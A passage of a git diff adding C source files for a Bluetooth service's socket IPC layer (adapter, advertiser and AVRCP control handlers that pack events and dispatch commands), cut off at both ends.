License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "service_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->adapter_callbacks : ins->adapter_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +static bool socket_allocator(void** data, uint32_t size) +{ + *data = malloc(size); + if (!(*data)) + return false; + + return true; +} + +static void on_adapter_state_changed_cb(void* cookie, bt_adapter_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + packet.adpt_cb._on_adapter_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_ADAPTER_STATE_CHANGED); +} + +static void on_discovery_state_changed_cb(void* cookie, bt_discovery_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + packet.adpt_cb._on_discovery_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_DISCOVERY_STATE_CHANGED); +} + +static void on_discovery_result_cb(void* cookie, bt_discovery_result_t* result) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_discovery_result.result, result, sizeof(*result)); + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_DISCOVERY_RESULT); +} + +static void on_scan_mode_changed_cb(void* cookie, bt_scan_mode_t mode) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + packet.adpt_cb._on_scan_mode_changed.mode = mode; + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_SCAN_MODE_CHANGED); +} + +static void on_device_name_changed_cb(void* cookie, const char* device_name) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + strncpy(packet.adpt_cb._on_device_name_changed.device_name, device_name, + sizeof(packet.adpt_cb._on_device_name_changed.device_name) - 1); + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_DEVICE_NAME_CHANGED); +} + +static void on_pair_request_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_pair_request.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_PAIR_REQUEST); +} + +static void on_pair_display_cb(void* cookie, bt_address_t* addr, + bt_transport_t transport, bt_pair_type_t type, uint32_t passkey) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_pair_display.addr, addr, sizeof(bt_address_t)); + packet.adpt_cb._on_pair_display.transport = transport; + packet.adpt_cb._on_pair_display.type = type; + packet.adpt_cb._on_pair_display.passkey = passkey; + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_PAIR_DISPLAY); +} + +static void on_connect_request_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_connect_request.addr, addr, sizeof(bt_address_t)); + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_CONNECT_REQUEST); +} + +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, + bt_transport_t transport, connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_connection_state_changed.addr, addr, sizeof(bt_address_t)); + packet.adpt_cb._on_connection_state_changed.transport = transport; + packet.adpt_cb._on_connection_state_changed.state = state; + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_CONNECTION_STATE_CHANGED); +} + +static void on_bond_state_changed_cb(void* cookie, bt_address_t* addr, + bt_transport_t transport, bond_state_t previous_state, bond_state_t current_state, bool is_ctkd) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_bond_state_changed.addr, addr, sizeof(bt_address_t)); + packet.adpt_cb._on_bond_state_changed.transport = transport; + packet.adpt_cb._on_bond_state_changed.previous_state = previous_state; + packet.adpt_cb._on_bond_state_changed.current_state = current_state; + packet.adpt_cb._on_bond_state_changed.is_ctkd = is_ctkd; + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_BOND_STATE_CHANGED); +} + +static void on_le_sc_local_oob_data_got_cb(void* cookie, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_le_sc_local_oob_data_got.addr, addr, sizeof(bt_address_t)); + memcpy(packet.adpt_cb._on_le_sc_local_oob_data_got.c_val, c_val, sizeof(bt_128key_t)); + memcpy(packet.adpt_cb._on_le_sc_local_oob_data_got.r_val, r_val, sizeof(bt_128key_t)); + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_LE_SC_LOCAL_OOB_DATA_GOT); +} + +static void on_remote_name_changed_cb(void* cookie, bt_address_t* addr, const char* name) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_remote_name_changed.addr, addr, sizeof(bt_address_t)); + strncpy(packet.adpt_cb._on_remote_name_changed.name, name, + sizeof(packet.adpt_cb._on_remote_name_changed.name) - 1); + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_REMOTE_NAME_CHANGED); +} + +static void on_remote_alias_changed_cb(void* cookie, bt_address_t* addr, const char* alias) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_remote_alias_changed.addr, addr, sizeof(bt_address_t)); + strncpy(packet.adpt_cb._on_remote_alias_changed.alias, alias, + sizeof(packet.adpt_cb._on_remote_alias_changed.alias) - 1); + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_REMOTE_ALIAS_CHANGED); +} + +static void on_remote_cod_changed_cb(void* cookie, bt_address_t* addr, uint32_t cod) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.adpt_cb._on_remote_cod_changed.addr, addr, sizeof(bt_address_t)); + packet.adpt_cb._on_remote_cod_changed.cod = cod; + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_REMOTE_COD_CHANGED); +} + +static void on_remote_uuids_changed_cb(void* cookie, bt_address_t* addr, bt_uuid_t* uuids, uint16_t size) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + uint16_t max_uuid_num; + uint16_t uuid_num; + + max_uuid_num = sizeof(packet.adpt_cb._on_remote_uuids_changed.uuids) / sizeof(bt_uuid_t); + uuid_num = size < max_uuid_num ? size : max_uuid_num; + + memcpy(&packet.adpt_cb._on_remote_uuids_changed.addr, addr, sizeof(bt_address_t)); + memcpy(packet.adpt_cb._on_remote_uuids_changed.uuids, uuids, sizeof(bt_uuid_t) * uuid_num); + packet.adpt_cb._on_remote_uuids_changed.size = uuid_num; + + bt_socket_server_send(ins, &packet, BT_ADAPTER_ON_REMOTE_UUIDS_CHANGED); +} + +const static adapter_callbacks_t g_adapter_socket_cbs = { + .on_adapter_state_changed = on_adapter_state_changed_cb, + .on_discovery_state_changed = on_discovery_state_changed_cb, + .on_discovery_result = on_discovery_result_cb, + .on_scan_mode_changed = on_scan_mode_changed_cb, + .on_device_name_changed = on_device_name_changed_cb, + .on_pair_request = on_pair_request_cb, + .on_pair_display = on_pair_display_cb, + .on_connect_request = on_connect_request_cb, + .on_connection_state_changed = on_connection_state_changed_cb, + .on_bond_state_changed_extra = on_bond_state_changed_cb, + .on_le_sc_local_oob_data_got = on_le_sc_local_oob_data_got_cb, + .on_remote_name_changed = on_remote_name_changed_cb, + .on_remote_alias_changed = on_remote_alias_changed_cb, + .on_remote_cod_changed = on_remote_cod_changed_cb, + .on_remote_uuids_changed = on_remote_uuids_changed_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_adapter_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_ADAPTER_ENABLE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_enable)(ins); + break; + } + case BT_ADAPTER_DISABLE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_disable)(ins); + break; + } + case BT_ADAPTER_DISABLE_SAFE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_disable_safe)(ins); + break; + } + case BT_ADAPTER_ENABLE_LE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_enable_le)(ins); + break; + } + case BT_ADAPTER_DISABLE_LE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_disable_le)(ins); + break; + } + case BT_ADAPTER_GET_STATE: { + packet->adpt_r.state = BTSYMBOLS(bt_adapter_get_state)(ins); + break; + } + case BT_ADAPTER_GET_TYPE: { + packet->adpt_r.dtype = BTSYMBOLS(bt_adapter_get_type)(ins); + break; + } + case BT_ADAPTER_IS_LE_ENABLED: { + packet->adpt_r.dtype = BTSYMBOLS(bt_adapter_is_le_enabled)(ins); + break; + } + case BT_ADAPTER_SET_DISCOVERY_FILTER: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_discovery_filter)(ins); + break; + } + case BT_ADAPTER_START_DISCOVERY: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_start_discovery)(ins, + packet->adpt_pl._bt_adapter_start_discovery.v32); + break; + } + case BT_ADAPTER_CANCEL_DISCOVERY: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_cancel_discovery)(ins); + break; + } + case BT_ADAPTER_IS_DISCOVERING: { + packet->adpt_r.bbool = BTSYMBOLS(bt_adapter_is_discovering)(ins); + break; + } + case BT_ADAPTER_GET_ADDRESS: { + BTSYMBOLS(bt_adapter_get_address) + (ins, + &packet->adpt_pl._bt_adapter_get_address.addr); + break; + } + case BT_ADAPTER_SET_NAME: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_name)(ins, + packet->adpt_pl._bt_adapter_set_name.name); + break; + } + case BT_ADAPTER_GET_NAME: { + BTSYMBOLS(bt_adapter_get_name) + (ins, + packet->adpt_pl._bt_adapter_get_name.name, + sizeof(packet->adpt_pl._bt_adapter_get_name.name)); + break; + } + case BT_ADAPTER_GET_UUIDS: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_get_uuids)(ins, + packet->adpt_pl._bt_adapter_get_uuids.uuids, + &packet->adpt_pl._bt_adapter_get_uuids.size); + break; + } + case BT_ADAPTER_SET_SCAN_MODE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_scan_mode)(ins, + packet->adpt_pl._bt_adapter_set_scan_mode.mode, + packet->adpt_pl._bt_adapter_set_scan_mode.bondable); + break; + } + case BT_ADAPTER_GET_SCAN_MODE: { + packet->adpt_r.mode = BTSYMBOLS(bt_adapter_get_scan_mode)(ins); + break; + } + case BT_ADAPTER_SET_DEVICE_CLASS: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_device_class)(ins, + packet->adpt_pl._bt_adapter_set_device_class.v32); + break; + } + case BT_ADAPTER_GET_DEVICE_CLASS: { + packet->adpt_r.v32 = BTSYMBOLS(bt_adapter_get_device_class)(ins); + break; + } + case BT_ADAPTER_SET_IO_CAPABILITY: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_io_capability)(ins, + packet->adpt_pl._bt_adapter_set_io_capability.cap); + break; + } + case BT_ADAPTER_GET_IO_CAPABILITY: { + packet->adpt_r.ioc = BTSYMBOLS(bt_adapter_get_io_capability)(ins); + break; + } + case BT_ADAPTER_SET_INQUIRY_SCAN_PARAMETERS: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_inquiry_scan_parameters)(ins, + packet->adpt_pl._bt_adapter_set_inquiry_scan_parameters.type, + packet->adpt_pl._bt_adapter_set_inquiry_scan_parameters.interval, + packet->adpt_pl._bt_adapter_set_inquiry_scan_parameters.window); + break; + } + case BT_ADAPTER_SET_PAGE_SCAN_PARAMETERS: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_page_scan_parameters)(ins, + packet->adpt_pl._bt_adapter_set_page_scan_parameters.type, + packet->adpt_pl._bt_adapter_set_page_scan_parameters.interval, + packet->adpt_pl._bt_adapter_set_page_scan_parameters.window); + break; + } + case BT_ADAPTER_GET_BONDED_DEVICES: { + bt_address_t* addr; + packet->adpt_r.status = BTSYMBOLS(bt_adapter_get_bonded_devices)(ins, + packet->adpt_pl._bt_adapter_get_bonded_devices.transport, + &addr, + (int*)&packet->adpt_pl._bt_adapter_get_bonded_devices.num, socket_allocator); + + if (packet->adpt_pl._bt_adapter_get_bonded_devices.num > 0) { + if (packet->adpt_pl._bt_adapter_get_bonded_devices.num > nitems(packet->adpt_pl._bt_adapter_get_bonded_devices.addr)) { + packet->adpt_pl._bt_adapter_get_bonded_devices.num = nitems(packet->adpt_pl._bt_adapter_get_bonded_devices.addr); + } + + memcpy(packet->adpt_pl._bt_adapter_get_bonded_devices.addr, addr, + sizeof(bt_address_t) * packet->adpt_pl._bt_adapter_get_bonded_devices.num); + free(addr); + } + break; + } + case BT_ADAPTER_GET_CONNECTED_DEVICES: { + bt_address_t* addr; + packet->adpt_r.status = BTSYMBOLS(bt_adapter_get_connected_devices)(ins, + packet->adpt_pl._bt_adapter_get_connected_devices.transport, + &addr, + (int*)&packet->adpt_pl._bt_adapter_get_connected_devices.num, socket_allocator); + if (packet->adpt_pl._bt_adapter_get_connected_devices.num > 0) { + if (packet->adpt_pl._bt_adapter_get_connected_devices.num > nitems(packet->adpt_pl._bt_adapter_get_connected_devices.addr)) { + packet->adpt_pl._bt_adapter_get_connected_devices.num = nitems(packet->adpt_pl._bt_adapter_get_connected_devices.addr); + } + memcpy(packet->adpt_pl._bt_adapter_get_connected_devices.addr, addr, + sizeof(bt_address_t) * packet->adpt_pl._bt_adapter_get_connected_devices.num); + free(addr); + } + break; + } + case BT_ADAPTER_SET_AFH_CHANNEL_CLASSFICATION: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_afh_channel_classification)(ins, + packet->adpt_pl._bt_adapter_set_afh_channel_classification.central_frequency, + packet->adpt_pl._bt_adapter_set_afh_channel_classification.band_width, + packet->adpt_pl._bt_adapter_set_afh_channel_classification.number); + break; + } + case BT_ADAPTER_DISCONNECT_ALL_DEVICES: { + BTSYMBOLS(bt_adapter_disconnect_all_devices) + (ins); + break; + } + case BT_ADAPTER_IS_SUPPORT_BREDR: { + packet->adpt_r.bbool = BTSYMBOLS(bt_adapter_is_support_bredr)(ins); + break; + } + case BT_ADAPTER_IS_SUPPORT_LE: { + packet->adpt_r.bbool = BTSYMBOLS(bt_adapter_is_support_le)(ins); + break; + } + case BT_ADAPTER_IS_SUPPORT_LEAUDIO: { + packet->adpt_r.bbool = BTSYMBOLS(bt_adapter_is_support_leaudio)(ins); + break; + } + case BT_ADAPTER_GET_LE_ADDRESS: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_get_le_address)(ins, + &packet->adpt_pl._bt_adapter_get_le_address.addr, + INT2PTR(ble_addr_type_t*) & packet->adpt_pl._bt_adapter_get_le_address.type); + break; + } + case BT_ADAPTER_SET_LE_ADDRESS: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_le_address)(ins, + &packet->adpt_pl._bt_adapter_set_le_address.addr); + break; + } + case BT_ADAPTER_SET_LE_IDENTITY_ADDRESS: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_le_identity_address)(ins, + &packet->adpt_pl._bt_adapter_set_le_address.addr, + packet->adpt_pl._bt_adapter_set_le_identity_address.pub); + break; + } + case BT_ADAPTER_SET_LE_IO_CAPABILITY: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_le_io_capability)(ins, + packet->adpt_pl._bt_adapter_set_le_io_capability.v32); + break; + } + case BT_ADAPTER_GET_LE_IO_CAPABILITY: { + packet->adpt_r.v32 = BTSYMBOLS(bt_adapter_get_le_io_capability)(ins); + break; + } + case BT_ADAPTER_SET_LE_APPEARANCE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_le_appearance)(ins, + packet->adpt_pl._bt_adapter_set_le_appearance.v16); + break; + } + case BT_ADAPTER_GET_LE_APPEARANCE: { + packet->adpt_r.v16 = BTSYMBOLS(bt_adapter_get_le_appearance)(ins); + break; + } + case BT_ADAPTER_LE_ENABLE_KEY_DERIVATION: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_le_enable_key_derivation)(ins, + packet->adpt_pl._bt_adapter_le_enable_key_derivation.brkey_to_lekey, + packet->adpt_pl._bt_adapter_le_enable_key_derivation.lekey_to_brkey); + break; + } + case BT_ADAPTER_LE_REMOVE_WHITELIST: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_le_remove_whitelist)(ins, + &packet->adpt_pl._bt_adapter_le_add_whitelist.addr); + break; + } + case BT_ADAPTER_LE_ADD_WHITELIST: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_le_add_whitelist)(ins, + &packet->adpt_pl._bt_adapter_le_remove_whitelist.addr); + break; + } + case BT_ADAPTER_REGISTER_CALLBACK: { + if (ins->adapter_cookie == NULL) { + ins->adapter_cookie = adapter_register_callback(ins, (void*)&g_adapter_socket_cbs); + if (ins->adapter_cookie) { + packet->adpt_r.status = BT_STATUS_SUCCESS; + } else { + packet->adpt_r.status = BT_STATUS_FAIL; + } + } else { + packet->adpt_r.status = BT_STATUS_SUCCESS; + } + break; + } + case BT_ADAPTER_UNREGISTER_CALLBACK: { + if (ins->adapter_cookie) { + if (adapter_unregister_callback((void**)&ins, ins->adapter_cookie)) { + packet->adpt_r.status = BT_STATUS_SUCCESS; + } else { + packet->adpt_r.status = BT_STATUS_FAIL; + } + ins->adapter_cookie = NULL; + } else { + packet->adpt_r.status = BT_STATUS_NOT_FOUND; + } + break; + } + default: + switch (BT_IPC_GET_SUBCODE(packet->code)) { + case BT_ADAPTER_SUBCODE_START_LIMITED_DISCOVERY: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_start_limited_discovery)(ins, + packet->adpt_pl._bt_adapter_start_limited_discovery.v32); + break; + } + case BT_ADAPTER_SUBCODE_SET_DEBUG_MODE: { + packet->adpt_r.status = BTSYMBOLS(bt_adapter_set_debug_mode)(ins, + packet->adpt_pl._bt_adapter_set_debug_mode.mode, + packet->adpt_pl._bt_adapter_set_debug_mode.operation); + break; + } + default: + break; + } + break; + } +} +#endif + +int bt_socket_client_adapter_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_ADAPTER_ON_ADAPTER_STATE_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_adapter_state_changed, + packet->adpt_cb._on_adapter_state_changed.state); + break; + } + case BT_ADAPTER_ON_DISCOVERY_STATE_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_discovery_state_changed, + packet->adpt_cb._on_discovery_state_changed.state); + break; + } + case BT_ADAPTER_ON_DISCOVERY_RESULT: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_discovery_result, + &packet->adpt_cb._on_discovery_result.result); + break; + } + case BT_ADAPTER_ON_SCAN_MODE_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_scan_mode_changed, + packet->adpt_cb._on_scan_mode_changed.mode); + break; + } + case BT_ADAPTER_ON_DEVICE_NAME_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_device_name_changed, + packet->adpt_cb._on_device_name_changed.device_name); + break; + } + case BT_ADAPTER_ON_PAIR_REQUEST: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_pair_request, + &packet->adpt_cb._on_pair_request.addr); + break; + } + case BT_ADAPTER_ON_PAIR_DISPLAY: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_pair_display, + &packet->adpt_cb._on_pair_display.addr, + packet->adpt_cb._on_pair_display.transport, + packet->adpt_cb._on_pair_display.type, + packet->adpt_cb._on_pair_display.passkey); + + break; + } + case BT_ADAPTER_ON_CONNECT_REQUEST: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_connect_request, + &packet->adpt_cb._on_connect_request.addr); + break; + } + case BT_ADAPTER_ON_CONNECTION_STATE_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_connection_state_changed, + &packet->adpt_cb._on_connection_state_changed.addr, + packet->adpt_cb._on_connection_state_changed.transport, + packet->adpt_cb._on_connection_state_changed.state); + break; + } + case BT_ADAPTER_ON_BOND_STATE_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_bond_state_changed_extra, + &packet->adpt_cb._on_bond_state_changed.addr, + packet->adpt_cb._on_bond_state_changed.transport, + packet->adpt_cb._on_bond_state_changed.previous_state, + packet->adpt_cb._on_bond_state_changed.current_state, + packet->adpt_cb._on_bond_state_changed.is_ctkd); + + // Compatible with on_bond_state_changed callback. + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_bond_state_changed, + &packet->adpt_cb._on_bond_state_changed.addr, + packet->adpt_cb._on_bond_state_changed.transport, + packet->adpt_cb._on_bond_state_changed.current_state, + packet->adpt_cb._on_bond_state_changed.is_ctkd); + break; + } + case BT_ADAPTER_ON_LE_SC_LOCAL_OOB_DATA_GOT: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_le_sc_local_oob_data_got, + &packet->adpt_cb._on_le_sc_local_oob_data_got.addr, + packet->adpt_cb._on_le_sc_local_oob_data_got.c_val, + packet->adpt_cb._on_le_sc_local_oob_data_got.r_val); + break; + } + case BT_ADAPTER_ON_REMOTE_NAME_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_remote_name_changed, + &packet->adpt_cb._on_remote_name_changed.addr, + packet->adpt_cb._on_remote_name_changed.name); + break; + } + case BT_ADAPTER_ON_REMOTE_ALIAS_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_remote_alias_changed, + &packet->adpt_cb._on_remote_alias_changed.addr, + packet->adpt_cb._on_remote_alias_changed.alias); + break; + } + case BT_ADAPTER_ON_REMOTE_COD_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_remote_cod_changed, + &packet->adpt_cb._on_remote_cod_changed.addr, + packet->adpt_cb._on_remote_cod_changed.cod); + break; + } + case BT_ADAPTER_ON_REMOTE_UUIDS_CHANGED: { + CALLBACK_FOREACH(CBLIST, adapter_callbacks_t, + on_remote_uuids_changed, + &packet->adpt_cb._on_remote_uuids_changed.addr, + packet->adpt_cb._on_remote_uuids_changed.uuids, + packet->adpt_cb._on_remote_uuids_changed.size); + break; + } + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_advertiser.c b/service/ipc/socket/src/bt_socket_advertiser.c new file mode 100644 index 0000000000000000000000000000000000000000..276db0d97531ad3dd61fd34bae29c3865b075a88 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_advertiser.c @@ -0,0 +1,163 @@ +/**************************************************************************** + * frameworks/media/media_daemon.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "advertising.h" +#include "bluetooth.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "service_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) && defined(CONFIG_BLUETOOTH_BLE_ADV) + +static void on_advertising_start_cb(bt_advertiser_t* adv, uint8_t adv_id, uint8_t status) +{ + bt_advertiser_remote_t* adver = adv; + bt_message_packet_t packet = { 0 }; + + packet.adv_cb._on_advertising_start.adver = adver->remote; + packet.adv_cb._on_advertising_start.adv_id = adv_id; + packet.adv_cb._on_advertising_start.status = status; + + bt_socket_server_send(adver->ins, &packet, BT_LE_ON_ADVERTISER_START); + if (status != 0) + free(adver); +} + +static void on_advertising_stopped_cb(bt_advertiser_t* adv, uint8_t adv_id) +{ + bt_advertiser_remote_t* adver = adv; + bt_message_packet_t packet = { 0 }; + + packet.adv_cb._on_advertising_stopped.adver = adver->remote; + packet.adv_cb._on_advertising_stopped.adv_id = adv_id; + + bt_socket_server_send(adver->ins, &packet, BT_LE_ON_ADVERTISER_STOPPED); + free(adv); +} + +static advertiser_callback_t g_advertiser_socket_cb = { + sizeof(g_advertiser_socket_cb), + on_advertising_start_cb, + on_advertising_stopped_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_advertiser_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + switch (packet->code) { + case BT_LE_START_ADVERTISING: { + bt_advertiser_remote_t* adver = malloc(sizeof(*adver)); + adver->ins = ins; + adver->remote = packet->adv_pl._bt_le_start_advertising.adver; + packet->adv_r.remote = PTR2INT(uint64_t) start_advertising((void*)adver, + &packet->adv_pl._bt_le_start_advertising.params, + packet->adv_pl._bt_le_start_advertising.adv_data, + packet->adv_pl._bt_le_start_advertising.adv_len, + packet->adv_pl._bt_le_start_advertising.scan_rsp_data, + packet->adv_pl._bt_le_start_advertising.scan_rsp_len, + &g_advertiser_socket_cb); + + if (!packet->adv_r.remote) + free(adver); + + break; + } + case BT_LE_STOP_ADVERTISING: { + stop_advertising(INT2PTR(bt_advertiser_t*) packet->adv_pl._bt_le_stop_advertising.adver); + break; + } + case BT_LE_STOP_ADVERTISING_ID: { + stop_advertising_id(packet->adv_pl._bt_le_stop_advertising_id.id); + break; + } + case BT_LE_ADVERTISING_IS_SUPPORT: { + packet->adv_r.vbool = advertising_is_supported(); + break; + } + default: + break; + } +} +#endif + +int bt_socket_client_advertiser_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + switch (packet->code) { + case BT_LE_ON_ADVERTISER_START: { + bt_advertiser_remote_t* adver = INT2PTR(bt_advertiser_remote_t*) packet->adv_cb._on_advertising_start.adver; + + adver->callback->on_advertising_start(adver, + packet->adv_cb._on_advertising_start.adv_id, + packet->adv_cb._on_advertising_start.status); + + if (packet->adv_cb._on_advertising_start.status != BT_ADV_STATUS_SUCCESS) + free(adver); + + break; + } + case BT_LE_ON_ADVERTISER_STOPPED: { + bt_advertiser_remote_t* adver = INT2PTR(bt_advertiser_remote_t*) packet->adv_cb._on_advertising_stopped.adver; + + adver->callback->on_advertising_stopped(adver, + packet->adv_cb._on_advertising_stopped.adv_id); + free(adver); + break; + } + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_avrcp_control.c b/service/ipc/socket/src/bt_socket_avrcp_control.c new file mode 100644 index 0000000000000000000000000000000000000000..33b6d1555fe71fe359c0032186bf27ce738af600 --- /dev/null +++ b/service/ipc/socket/src/bt_socket_avrcp_control.c @@ -0,0 +1,280 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "avrcp_control_service.h" +#include "bluetooth.h" +#include "bt_avrcp_control.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, 